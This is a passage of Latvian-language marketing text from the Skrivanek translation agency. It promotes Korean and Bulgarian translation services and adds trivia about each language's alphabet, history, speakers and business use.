TULKOJUMU CENRĀDIS? Bez šaubām, lai uzzinātu precīzas tulkošanas projekta izmaksas, gaidīsim jūsu tulkojamo materiālu mūsu e-pastā. Skrivanek tulkošanas projektu vadītāji sazināsies ar jums un sīki informēs par visām tulkošanas izmaksām pirms projekta uzsākšanas. Tulkojuma cena tiek noteikta saskaņā ar Skrivanek Baltic spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, atkārtojumiem tekstā, un citiem būtiskiem parametriem. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM KOREJIEŠU VALODĀ: dažādu dokumentu tulkošana korejiešu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; korejiešu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi korejiešu valodā; individuālie korejiešu valodas kursi. Meklējiet valodu risinājumus korejiešu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR KOREJIEŠU VALODU UN KOREJU Lielākā daļa valodnieku korejiešu valodu klasificē kā izolētu valodu, proti, tā nav piederīga nevienai valodu saimei. Oficiāli Korejā tiek lietotas divas standarta korejiešu valodas – tā dēvētais Seulas dialekts Dienvidkorejā un Phjonjangas dialekts Ziemeļkorejā. Šos abus dialektus pārvalda un regulē katras valsts nacionālā valodas politika. Jāteic, ka korejiešu valoda ir salīdzinoši viendabīga, un pārējie korejiešu valodas dialekti no dažādiem reģioniem parasti lielā mērā ir savstarpēji saprotami. Vēl korejiešu valodas dialektus mēdz iedalīt pēc reģioniem: centrālais dialekts, ziemeļrietumu dialekts, ziemeļaustrumu dialekts, dienvidrietumu dialekts, dienvidaustrumu dialekta un Džedžu salas dialekts. Galvenā visu šo dialektu īpatnība ir to specifiskā intonācija. Ir daudzas teorijas, kas mēģina izskaidrot korejiešu valodas izcelsmi. Visbiežāk korejiešu valodu saista ar altajiešu valodu saimi, kurā ietilpst turku, mongoļu un tungusu valoda. Lai gan šī piederība nav līdz galam pierādīta, lielākā daļa korejiešu valodnieku to atzīst, un šo piederību par iespējamu uzskata arī Rietumu valodnieki. Otra puse valodnieku korejiešu valodu saista ar Indijas dienvidu dravīdu valodām vai austronēziešu valodām. Valodniekiem ļoti patīk korejiešu valoda. Viņi to raksturo kā vispilnīgāk izstrādāto fonētisko sistēmu, ļoti saskaņotu ar alfabētu. Lasīt un rakstīt korejiešu valodā var iemācīties vienas dienas laikā, tikai neko nesapratīsiet. Korejiešu valodā ir divas skaitīšanas sistēmas – skaitļiem līdz 99, objektu skaitīšanai, laika, attāluma, datuma, vecuma skaitļu rakstībai izmanto korejiešu valodu, pārējiem skaitļiem ķīniešu valodu. Darbības vārds korejiešu valodā vienmēr tiek lietots teikuma beigās. Korejiešu valodas piederības noteikšanu sarežģī ilgā saskarsmes vēsture ar japāņu un ķīniešu valodām. Nav pārsteidzoši, ka korejiešu valodai ir kopīgas noteiktas valodas iezīmes ar katru no šīm valodām. Korejiešu alfabētu izveidoja pats karalis. Sākotnēji korejiešu valodas pierakstam tika izmantota ķīniešu rakstība, kas bija ļoti sarežģīta. Lai veicinātu iedzīvotāju rakstīt un lasītprasmi, un lai rastu iespēju ar saviem pavalstniekiem sazināties, karalis Sedžongs Lielais deva rīkojumu veidot jaunu rakstības sistēmu. Korejieši tik ļoti mīl savu alfabētu, ka gan Ziemeļkoreja, gan Dienvidkoreja to godina ar valsts svētkiem. Mūsdienu korejiešu valoda joprojām atspoguļo Ķīnas gadsimtiem ilgo ietekmi uz to. Apmēram puse korejiešu vārdu krājuma sastāv no vārdiem, kas atvasināti no ķīniešu valodas. Mūsdienās dienvidkorejieši parasti izmanto hibrīda rakstīšanas sistēmu, kurā vārdi, kas atvasināti no ķīniešu valodas, tiek rakstīti ar ķīniešu rakstzīmēm, bet korejiešu vārdi tiek rakstīti hangilā. Ziemeļkorejieši pilnībā izslēdza ķīniešu rakstzīmes un pat ķīniešu vārdus raksta, izmantojot korejiešu alfabētu. Neskatoties uz lielo aizguvumu skaitu, korejiešu valoda pilnībā atšķiras no ķīniešu valodas gan skanējuma, gan teikuma uzbūves ziņā. Pētnieki lēš, ka finansiālais valdības atbalsts kultūrai ir 20 un pat 30 reižu lielākas nekā tas ir citās valstīs. Ar korejiešu popkultūru saistās kāda leģendāra anekdote par Dienvidkorejas prezidenta Kim Young Sam milzu izbrīnu, kad 1994. gadā viņš izlasījis, ka ienākumi no Stīvena Spīlberga kinofilmas „Juras laikmeta parks” ir līdzvērtīgi ienākumiem, kas gūti no Hyundai eksporta. Seula korejiešu valodā nozīmē galvaspilsēta. Gandrīz pusi no visiem korejiešu vīriešiem sauc par Lī, Parku vai Kimu. Vārdus, kas korejiešu valodā ir aizgūti no angļu valodas, sauc par konglišu. KOREJIEŠU ALFABĒTS Korejiešu valodai ir divas atšķirīgas rakstības sistēmas: hangils un handža. Hangils jeb arī čosongils ir alfabētiska sistēma, kuru jau kopš 15. gadsimta izmanto korejiešu valodas pierakstīšanai. Hangila sistēmu veido 24 simboli, no kuriem 14 simboli apzīmē līdzskaņus, bet 10 simboli patskaņus. Hangilā 10 patskaņus atveido šādi: ㅏ, ㅓ, ㅣ, ㅑ, ㅕ, ㅗ, ㅜ, ㅡ, ㅛ, ㅠ, bet 14 līdzskaņus šādi — ㄱ, ㄴ, ㄷ, ㄹ, ㅁ, ㅂ, ㅅ, ㅇ, ㅈ, ㅊ, ㅋ, ㅌ, ㅍ, ㅎ. Par korejiešu alfabētu mēdz teikt, ka „gudrs cilvēks to var iegaumēt, pirms rīts ir beidzies, bet dumjš cilvēks to var apgūt 10 dienu laikā”. Patiesi tik viegls ir korejiešu alfabēta pieraksts. Bez hangila korejiešu vārdus var pierakstīt arī handžā, kas ir korejiešu nosaukums ķīniešu rakstu zīmēm. 1444. gadā pēc korejiešu valdnieka Sedžonga Lielā iniciatīvas tika izgudrots, bet no 1446. gada ieviests korejiešu fonētiskais alfabēts, kas sastāvēja no 28 burtiem. Alfabēta principu un struktūras izstrādi īstenoja galma zinātnieki. Līdzskaņi simbolizēja runas orgānu stāvokli skaņas izrunāšanas brīdī, bet patskaņu burti simbolizēja triju pasaules pirmsākumu formas — debesis (apaļš), zemi (plakans horizontāls) un cilvēku (vertikāls). CIK SAREŽĢĪTA IR KOREJIEŠU VALODA? Korejiešu valoda tiek atzīta par vienu no vissarežģītākajām valodām pasaulē. Iemesls tam ir pavisam vienkāršs − korejiešu valodai ir pilnīgi jauns un neierasts alfabēts, kā arī skaņu izruna, kas nav raksturīga nevienai citai valodai pasaulē. Taču patiesībā korejiešu alfabētu var apgūt ļoti īsā laikā. Ir nepieciešami aptuveni 3 mēneši, lai apgūtu korejiešu valodu pamatzināšanu līmenī. Pēc gada, ja valodas apguvei dienā tiks veltītas vismaz divas stundas, ir iespējams runāt korejiešu valodā sarunvalodas līmenī. Protams, tas viss ir atkarīgs no katra individuālajām spējām, apņemšanās un uzcītības. Visvieglāk korejiešu valodu apgūst cilvēki, kuri runā japāņu, ķīniešu vai arābu valodā. Kopumā, lai sasniegtu augstāko korejiešu valodas zināšanu līmeni, būs nepieciešamas aptuveni 1200 mācību stundas. KUR UN CIK DAUDZ RUNĀ KOREJIEŠU VALODĀ? Korejiešu valodā runā aptuveni 78 miljoni cilvēku visā pasaulē, no kuriem 48 miljoni dzīvo Korejas Republikā, 24 miljoni — Korejas Tautas Demokrātiskajā Republikā jeb Ziemeļkorejā, vairāk nekā 2 miljoni — Ķīnā, aptuveni 1 miljons — Amerikas Savienotajās Valstīs, ap 0,5 miljoniem — Japānā, bet pārējie 2,5 miljoni — citās pasaules valstīs. KOREJIEŠU VALODAS TULKS UN TULKOTĀJS Skrivanek Baltic korejiešu valodas tulku un tulkotāju komanda strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, gan arī veic mutiskos tulkojumus. Nodrošinām arī tekstu korejiešu valodā korektūru un stilistisko uzlabošanu, ja nepieciešams, tiek veikta redaktūra un terminoloģijas pārbaude vai saskaņošana ar attiecīgās jomas ekspertiem. Korporatīvajiem klientiem visbiežāk veicam šādus tulkojumus no/uz korejiešu valodu – mājaslapu un e-komercijas satura tulkojumus, reklāmas saukļu, videospēļu, audio un video materiālu lokalizāciju un adaptāciju, tāpat nodrošinām dažādu produktu etiķešu tulkojumus, mutiskos tulkojumus biznesa sarunās un konferencēs. Piedāvājam mutisko secīgo un sinhrono tulkošanu arī tiešsaistē Zoom vai jebkurā citā platformā. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu vai pat arī sapņu tetovējuma tulkojumu. KOREJIEŠU VALODA BIZNESĀ Ņemot vērā, ka korejiešu valodā runā vairāk nekā 78 miljoni cilvēku visā pasaulē, tas var būt vērā ņemams jūsu produkta vai pakalpojuma noieta tirgus. Korejiešu valoda ieņem 18. vietu pasaulē biežāk lietoto valodu sarakstā. Tas viss padara korejiešu valodas apgūšanu lietderīgu ne tikai ceļojuma baudīšanai, bet arī uzņēmējdarbības Korejas Republikā attīstīšanai. Ja tiek plānots veikt jebkāda veida uzņēmējdarbību Korejas Republikā, korejiešu valodas un sevišķi kultūras un etiķetes zināšanas būs ļoti, ļoti svarīgas, tā kā tas būs jūsu pirmais cieņas izpausme žests, ko atzinīgi novērtēs jūsu biznesa partneri. Dienvidkoreja ir sasniegusi strauju ekonomisko izaugsmi īsā laika posmā. Valsts ir panākusi globālu konkurētspēju dažādās jomās, piemēram, mobilo tālruņu, pusvadītāju, automobiļu, ķīmisko vielu un tērauda ražošanā. Pēdējos gados tās kultūras saturs, tostarp mūzika, videospēles un kinofilmas, arī veido būtisku Korejas Republikas eksporta daļu. Tajā pašā laikā iedzīvotāju skaits, kas runā angļu valodā, ir tikai aptuveni 43% no visiem valsts iedzīvotājiem, kas ir ievērojami mazāk salīdzinājumā ar Vāciju vai Skandināvijas valstīm. Korejā ļoti liela nozīme tiek pievērsta tradīcijām un nostiprinātajām uzvedības normām. Dienvidkorejā angļu valodu māca un praktizē kopš pirmsskolas vecuma, taču joprojām ne visi brīvi runā angļu valodā. Vairumā gadījumu rakstisku materiālu tulkošana nebūs nepieciešama, taču klātienes tikšanās mutvārdu saziņai parasti varētu būt nepieciešama tulka palīdzība. Ja ir ieplānota biznesa tikšanās, ieteicams pārbaudīt, vai to var veikt angļu valodā vai tomēr būs nepieciešams tulka pakalpojums. Ja iespējams, pirms biznesa tikšanās Korejas Republikā ir ieteicams saņemt atbalstu no vietējā korejiešu biznesa konsultanta, kurš var ne tikai pievienoties klātienes tikšanām, bet arī būt atbildīgs par turpmāko saziņu ar korejiešu biznesa partneriem. Ārpus valsts korejiešu valodu kā biznesa valodu nelieto, bet korejiešu valodas zināšanas noteikti novērtēs jūsu sadarbības partneri biznesā, zinātnē vai tehnoloģiju jomā arī ārpus Korejas Republikas. LATVIJAS UN KOREJAS SADARBĪBA Korejas Republika (saukta arī par Dienvidkoreju) atzina Latvijas Republikas neatkarību 1991. gada 5. septembrī un 1991. gada 22. oktobrī tika nodibinātas diplomātiskās attiecības. Abām valstīm ir noslēgti vairāki sadarbības līgumi gaisa satiksmes, kultūras, izglītības, sporta, vīzu režīma u. c. jomās. Latvijas Universitātes Humanitāro zinātņu fakultātē 2013. gada septembrī tika uzsākta programma korejiešu valodas un kultūras studijām. Lai padziļinātu kultūras un valodas zināšanas, 2016. gada 23. februārī tika atklāts Korejas studiju centrs, bet 2016. gada 21. septembrī Rīgas Tehniskās universitātes telpās Karaļa Sedžonga institūts. 2008. gada septembrī Latvijas Universitāte noslēdza sadarbības līgumu ar Kyungpook Nacionālo universitāti, kas paredz apmaiņu ar studentiem un pasniedzējiem ekonomikas un sociālajās zinātnēs. Korejiešu studenti uz Latviju dodas studēt reti, lielākoties tikai Erasmus apmaiņas programmas ietvaros, un Latvijā uzturas vien dažus mēnešus. 2021. gadā Latvijas Universitātē bakalaura grādu pirmo reizi tās vēsturē ieguva students no Korejas. Korejiešu puisis bija vienīgais students no Korejas, kurš izvēlējies pilna laika studijas. Hvīdžē Im studēja Latvijas Universitātes biznesa vadības un ekonomikas fakultātē. Puisis pat ir izveidojis Youtube kanālu korejiešu valodā, kurā stāsta par Latviju ārvalstu skatītājiem. KOREJIEŠU VALODAS JEB HANGILA DIENA Hangila diena ir svētki, kuros katru gadu 9. oktobrī tiek pieminēts korejiešu alfabēts. Tie ir valsts svētki, kuri Dienvidkorejā ir oficiāla brīvdiena. 1926. gadā visā valstī sāka palikt populāras svinības, kuras organizēja Korejiešu valodas biedrība. Tomēr šīs svinības neilgi pēc tam beidzās, jo hangils un korejiešu valoda Japānas okupācijas laikā tika aizliegti. Tomēr šķita, ka tas tikai vēl vairāk nostiprināja šīs rakstīšanas sistēmas popularitāti korejiešu vidū, kā rezultātā to turpināja izmantot arī pēc valsts neatkarības iegūšanas 1945. gadā. Faktiski 1945. gadā (gandrīz 20 gadus pēc pirmajām svinībām) valdība pasludināja Hangila dienu par valsts svētkiem. Lai gan 90. gados tie zaudēja valsts svētku statusu, tie tika atjaunoti 2012. gadā. Lielāko daļu laika cilvēki atzīmē šo dienu, paliekot mājās un atpūšoties no darba un skolas. Tomēr Seulā nav nekas neparasts, ka tūkstošiem cilvēku apmeklē karaļa Sedžonga zelta statujas un muzejus. Korejieši apmeklē arī Nacionālo Hangila muzeju, kur var uzzināt daudz par alfabēta tapšanas vēsturi un piedalīties dažādās aktivitātēs. Svētku dienā korejieši arī pilnveido un attīsta iemaņas sava skaistā alfabēta rakstīšanā, šajā svarīgajā dienā rīkojot kaligrāfijas darbnīcas. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM KOREJIEŠU VALODĀ: dažādu dokumentu tulkošana korejiešu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; korejiešu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi korejiešu valodā; individuālie korejiešu valodas kursi. KOREJIEŠU VALODAS KOMBINĀCIJAS: korejiešu–latviešu; latviešu–korejiešu; korejiešu–lietuviešu; lietuviešu–korejiešu; igauņu–korejiešu; korejiešu–igauņu; angļu–korejiešu; korejiešu–angļu; krievu–korejiešu; korejiešu–krievu; poļu–korejiešu; korejiešu–poļu; ukraiņu–korejiešu; korejiešu–ukraiņu; čehu–korejiešu; korejiešu–čehu; vācu–korejiešu; korejiešu–vācu; spāņu–korejiešu; korejiešu–spāņu; franču–korejiešu; korejiešu–franču; itāļu–korejiešu; korejiešu–itāļu; dāņu–korejiešu; korejiešu–dāņu; zviedru–korejiešu; korejiešu–zviedru; norvēģu–korejiešu; korejiešu–norvēģu; somu–korejiešu; korejiešu–somu, korejiešu–arābu; arābu–korejiešu; korejiešu–armēņu, armēņu–korejiešu; korejiešu–baltkrievu, baltkrievu–korejiešu; bulgāru–korejiešu, korejiešu–bulgāru; korejiešu–ebreju, ebreju–korejiešu, korejiešu–grieķu, grieķu–korejiešu; korejiešu–gruzīnu; gruzīnu–korejiešu; korejiešu–hindi; hindi–korejiešu; korejiešu–holandiešu; holandiešu–korejiešu; korejiešu–ukraiņu; ukraiņu–korejiešu; korejiešu–kurdu; kurdu–korejiešu; korejiešu–ķīniešu; ķīniešu–korejiešu; korejiešu–portugāļu; portugāļu–korejiešu; korejiešu–rumāņu; rumāņu–korejiešu; korejiešu–slovāku; slovāku–korejiešu; korejiešu–slovēņu; slovēņu–korejiešu; korejiešu–turku; turku–korejiešu; korejiešu–ungāru; ungāru–korejiešu u. c. --- > Dažādu dokumentu un pasākumu tulkojumi bulgāru valodā. Sazinieties ar mums un saņemiet bezmaksas cenas aprēķinu tikai 15 minūtēs. - Published: 2022-04-30 - Modified: 2025-07-21 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-bulgaru-valoda/ - Translation Priorities: Optional TULKOJUMI BULGĀRU VALODĀ / TULKOT BULGĀRU VALODĀ CIK MAKSĀ TULKOŠANA BULGĀRU VALODĀ? Katram tulkojumam no/uz bulgāru valodu cenu nosaka individuāli, jo tiek ņemti vērā vairāki svarīgi aspekti, proti, tulkojamā materiāla apjoms, izpildes termiņi, teksta specifika, atkārtojumi tekstā, vai materiālam ir vajadzīga grafiskā apstrāde, formatēšana, koriģēšana, redaktūra, kā arī klienta papildus izvēlētie pakalpojumi (notariāls apliecinājums, druka, apostille u. c. pakalpojumi. ) VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, lai noskaidrotu precīzas tulkojuma izmaksas, gaidīsim jūsu tulkojamo materiālu mūsu e-pastā. Skrivanek tulkošanas projektu vadītāji sazināsies ar jums un informēs par tulkojuma izmaksām pirms projekta uzsākšanas. Tulkojuma cena tiek noteikta saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, atkārtojumiem tekstā un citiem parametriem. Mēs nodrošinām 100% konfidencialitāti un uzņemamies pilnu atbildību par teksta apstrādes procesu kvalitāti un katra projekta savlaicīgu īstenošanu neatkarīgi no tā apjoma vai sarežģītības pakāpes. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM BULGĀRU VALODĀ: dažādu dokumentu tulkošana bulgāru valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; bulgāru valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi bulgāru valodā; individuālie bulgāru valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus bulgāru valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI BULGĀRU VALODĀ / TULKOT BULGĀRU VALODĀ CIK MAKSĀ TULKOŠANA BULGĀRU VALODĀ? Katram tulkojumam no/uz bulgāru valodu cenu nosaka individuāli, jo tiek ņemti vērā vairāki svarīgi aspekti, proti, tulkojamā materiāla apjoms, izpildes termiņi, teksta specifika, atkārtojumi tekstā, vai materiālam ir vajadzīga grafiskā apstrāde, formatēšana, koriģēšana, redaktūra, kā arī klienta papildus izvēlētie pakalpojumi (notariāls apliecinājums, druka, apostille u. c. pakalpojumi. ) VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, lai noskaidrotu precīzas tulkojuma izmaksas, gaidīsim jūsu tulkojamo materiālu mūsu e-pastā. Skrivanek tulkošanas projektu vadītāji sazināsies ar jums un informēs par tulkojuma izmaksām pirms projekta uzsākšanas. Tulkojuma cena tiek noteikta saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, atkārtojumiem tekstā un citiem parametriem. Mēs nodrošinām 100% konfidencialitāti un uzņemamies pilnu atbildību par teksta apstrādes procesu kvalitāti un katra projekta savlaicīgu īstenošanu neatkarīgi no tā apjoma vai sarežģītības pakāpes. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM BULGĀRU VALODĀ: dažādu dokumentu tulkošana bulgāru valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; bulgāru valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi bulgāru valodā; individuālie bulgāru valodas kursi. Meklējiet valodu risinājumus bulgāru valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR BULGĀRU VALODU Bulgāru valoda ir slāvu saimes, dienvidslāvu apakšgrupas valoda. Tā ir oficiālā valoda Bulgārijā un ir viena no Eiropas Savienības oficiālajām valodām. Bulgāru valodai visradniecīgākā ir maķedoniešu valoda, abas valodas ir savstarpēji saprotamas. Bulgāru valoda ir fonētiska valoda, izruna pilnībā atbilst rakstībai. Bulgāru valodā ir vairāk nekā 70 dialektu, no kuriem 40 Bulgārijā un 30 citās pasaules valstīs. Tie tiek iedalīti 2 grupās – austrumu un rietumu bulgāru valodas dialektos. Garākais vārds bulgāru valodā sastāv no 39 burtiem – непротивоконституционствувателствувайте. Bulgāri gan šo vārdu nelieto reālajā komunikācijā. Vārda nozīme ir – nerīkoties pret konstitūciju. Bulgāru valodā darbības vārdam ir deviņas laika kategorijas. Mūsdienu bulgāru valodā ir aptuveni 200 000 vārdu, tā norāda Bulgārijas Zinātņu akadēmijas Bulgāru valodas institūts. Lielāko daļa bulgāru valodas leksikas veido atvasinājumi no slāvu valodām, taču ir arī vārdi, kas aizgūti no grieķu un turku valodas. Mūsdienās bulgāru valodā ir ienākuši daudzi angļu valodas vārdi tehnoloģiju, sporta, modes, mākslas, mūzikas un masu kultūras jomās. 24. maijs ir diena, kad visā Bulgārijā tiek svinēta bulgāru valodas un kirilicas rakstības izveidošanas diena. Bulgāru un maķedoniešu valodai ir kopīgas vairākas iezīmes, kas ir unikālas, salīdzinot ar citām valodām. Piemēram, ne vienai, ne otrai nav darbības vārdu nenoteiksmes un arī vispārējā darbības vārdu sistēma balstās uz ļoti senām slāvu valodas formām. Slāvu valodas ir daudzas un dažādas, taču no visām bulgāru valoda bija pirmā valoda, kas parādījās rakstītā formā. Pirmie rokraksti, kas rakstīti šajā valodā, ir datēti ar 10. vai 11. gadsimtu. 1878. gadā Bulgārija kļuva par neatkarīgu valsti, un tai bija nepieciešams savs karogs. Tā dizainu veidojis bulgāru dzejnieks Petko Slaveikovs, kurš sarakstījis arī Bulgārijas himnu. Bulgārijas karogam ir trīs krāsas: balta mieram un mīlestībai, zaļa brīvībai un cerībai un sarkana drosmei un spēkam. Bulgārijas nacionālā atmoda ir viens no nozīmīgākajiem Bulgārijas vēstures periodiem. Tas sākās deviņpadsmitā gadsimta sākumā un ilga līdz deviņpadsmitā gadsimta beigām. Šajā laikā ļoti atdzima interese par bulgāru kultūru, literatūru un mākslu. BULGĀRU ALFABĒTS 9. gadsimtā Bulgārijai un citām Eiropas valstīm, kas agrāk pielūdza pagānu dievības, bija jāizdara izvēle. Jākļūst par kristiešiem, pievienojoties Romas katoļu baznīcai, vai jāpievienojas Bizantijas pareizticīgo baznīcai. Abas reliģijas vēlējās iegūt jaunus sekotājus, tādējādi palielinot politisko kontroli atsevišķās teritorijās. Bizantijas impērijai radās gudra ideja – izveidot jaunu rakstību, kas palīdzētu jaunajiem kristiešiem lasīt reliģiskas grāmatas savā valodā. Tikai dažu gadu laikā tā izrādījās labāka stratēģija. 886. gadā Bulgārijas cariste ieviesa glagolicas alfabētu, kuru bija izgudrojuši svētais Kirils un svētais Metodijs 850. gados. Dažu gadsimtu laikā pamazām glagolicu aizstāja kirilica, kas nosaukta svētā Kirila vārdā un radīta 10. gadsimta sākumā. 19. gadsimta sākumā un vidū bija lietojami vairāki kirilicas alfabēti, kuri sastāvēja no 28–44 burtiem, līdz 1870. gadā 32 burtu alfabēts guva pārākumu pār citiem kirilicas alfabētiem. Šo alfabētu lietoja līdz 1945. gada pareizrakstības reformai, kad no alfabēta tika izslēgti burti Ѣ, ѣ un Ѫ, ѫ, attiecīgi burtu skaits bulgāru alfabētā samazinājās līdz 30 burtiem. Ar Bulgārijas iestāšanos Eiropas Savienībā, kirilica kļuva par trešo oficiālo Eiropas Savienības alfabētu. CIK SAREŽĢĪTA IR BULGĀRU VALODA? Pasaules globalizācijas ietekmē vēl nekad iepriekš cilvēkiem nav bijis tik viegli ceļot, strādāt vai vienkārši dzīvot citā valstī. Tomēr, lai to darītu, ir jāprot komunicēt dažādās valodās. Valodu zināšanas dod katram cilvēkam lielākas izvēles un brīvības iespējas ─ izvēlēties labāku darbu, ceļot, iepazīties utt. Tas paver durvis uz visu pasauli. Tad kāpēc lai viena no šīm valodām nebūtu bulgāru valoda, kura tiek uzskatīta par vienu no skaistākajām un daiļskanīgākajām valodām pasaulē. Bulgāru valodas rakstība ir balstīta uz kirilicas burtiem, tādēļ nereti tā var šķist līdzīga krievu valodai. Līdz ar to krievu valodas pratējiem bulgāru valodu varētu būt vienkāršāk iemācīties un saprast. Bulgāru valoda ir viena no grūtākajām valodām pasaulē. Protams, tas ir atkarīgs no katra valodas apguvēja individuāli, taču minimāli bulgāru valodas apgūšana prasītu aptuveni 44 nedēļas vai 1100 mācību stundas. Vislielākais izaicinājums bulgāru valodas apguvē būs gramatika, jo īpaši darbības vārdu gramatiskās iezīmes. Bulgāru darbības vārdiem ir personas, skaitļa un pat dzimtes kategorijas, kā arī kārtas, 9 laiki, trīs izteiksmes. Mūsdienu bulgāru valodā nav nenoteiksmes, tāpēc darbības vārda pamatforma ir tagadnes pirmās personas vienskaitlis. Latvijā visiem bulgāru valodas interesentiem ir pieejama Ventspils Augstskolas Lietišķās valodniecības centra izdotā Bulgāru – latviešu vārdnīca, kuru sastādīja profesors I. Koškins un T. Stoikova. KUR UN CIK DAUDZ RUNĀ BULGĀRU VALODĀ? Visā pasaulē ir aptuveni 10─12 miljoni bulgāru valodā runājošo, aptuveni 7 miljoni dzīvo Bulgārijā. Bulgāru valoda kā minoritātes valoda tiek lietota arī Rumānijā, Serbijā, Slovākijā, Ukrainā un Ungārijā. Lielākās bulgāru valodas lietotāju diasporas dzīvo Austrālijā, Albānijā, Kanādā, ASV, Francijā, Grieķijā, Spānijā, Itālijā, Turcijā, Lielbritānijā, Moldovā un citās emigrantu kopienās. BULGĀRU VALODAS TULKS UN TULKOTĀJS Skrivanek tulkošanas birojs piedāvā gan tipveida dokumentu rakstiskos tulkojumus, gan arī mutiskos tulkojumus, notariāli apliecinātus tulkojumus, atrodot labāko risinājumu klienta vēlmēm. Mēs nodrošinām arī tekstu bulgāru valodā korektūru un stilistisko uzlabošanu, ja nepieciešams, tiek veikta redaktūra un terminoloģijas pārbaude. Mūsu pieredzējušie valodu speciālisti parūpēsies arī par vēstījuma efektivitāti, atbilstošu stilistiku un pielāgošanos kultūras kontekstam gan pašas valodas, gan valsts ziņā. Biznesa klientiem visbiežāk nodrošinām šādus tulkojumus no/uz bulgāru valodu – e-komercijas satura un mājaslapu tulkojumus, reklāmas saukļu, mārketinga satura tulkojumus, juridiskos un tiesību aktu, produktu etiķešu tulkojumus. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. BULGĀRU VALODA BIZNESĀ Bulgāriem patīk veikt darījumus tiekoties klātienē, tādēļ ir ļoti svarīgi apmeklēt vietējos partnerus un klientus klātienē, lai 